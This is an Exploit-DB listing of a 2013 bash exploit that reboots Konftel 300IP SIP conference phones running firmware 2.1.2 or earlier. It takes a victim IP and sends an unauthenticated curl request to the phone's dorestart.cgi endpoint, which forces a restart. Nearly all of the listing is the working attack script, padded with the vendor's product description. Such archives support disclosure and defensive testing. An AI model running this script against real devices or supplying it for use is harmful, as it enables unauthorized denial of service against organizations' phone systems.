Konftel 300IP SIP-based Conference Phone 2.1.2 – Remote Bypass Reboot

  • 作者: Todor Donev
    日期: 2013-03-29
  • 类别:
    平台:
  • 来源:https://www.exploit-db.com/exploits/24896/
  • #!/bin/bash 
    # Konftel 300IP SIP-based Conference phone <= 2.1.2 remote bypass reboot exploit
    #
    # by Todor Donev / 03.2013 / Sofia,Bulgaria
    # email: todor dot donev at gmail com
    # type: hardware
    #
    # The Konftel 300IP is a flexible SIP-based conference phone,
    # perfect for companies that use IP voice services. Its clear, 
    # natural sound comes from OmniSound HD, Konftel’s patented 
    # wideband audio technology. The stylishly designed 
    # Konftel 300IP is packed with intelligent features for more
    # efficient conference calls. Record and store meetings on a
    # SD memory card. Use the conference guide to call 
    # pre-programmed groups with just a few simple pushes of a
    # button. Conveniently import and export contact details via 
    # the Web interface. Create your own phone book with the 
    # personal user profile feature. The Konftel 300IP is also 
    # ideal for larger conferences since it can accommodate 
    # expansion microphones, an external wireless headset and a 
    # PA system. With the Konftel 300IP your company will have 
    # a conference phone that combines all the benefits of IP 
    # voice service with innovative new features.
    #
    # Example usage:
    # [exploits@amnesium]$ ./k300IP-rbr.sh 192.168.1.180
    # Konftel 300IP SIP-based Conference phone <= 2.1.2 remote bypass reboot exploit
    # Rebooting 192.168.1.180..
    # Sleeping 30 secs, before rebooting
    # curl: (7) couldn't connect to host
    #
    # Special greetings for Tsvetelina Emirska, Stilyan Angelov and all my other friends!
    
    if [ $# != 1 ]; then
    echo "usg: $0 <victim>"
    exit;
    fi
    echo "Konftel 300IP SIP-based Conference phone <= 2.1.2 remote bypass reboot exploit"
    echo "Rebooting $1.."
    curl http://$1/cgi-bin/dorestart.cgi?doit=Reboot &>/dev/null
    echo "Sleeping 30 secs before rebooting"
    sleep 30
    curl $1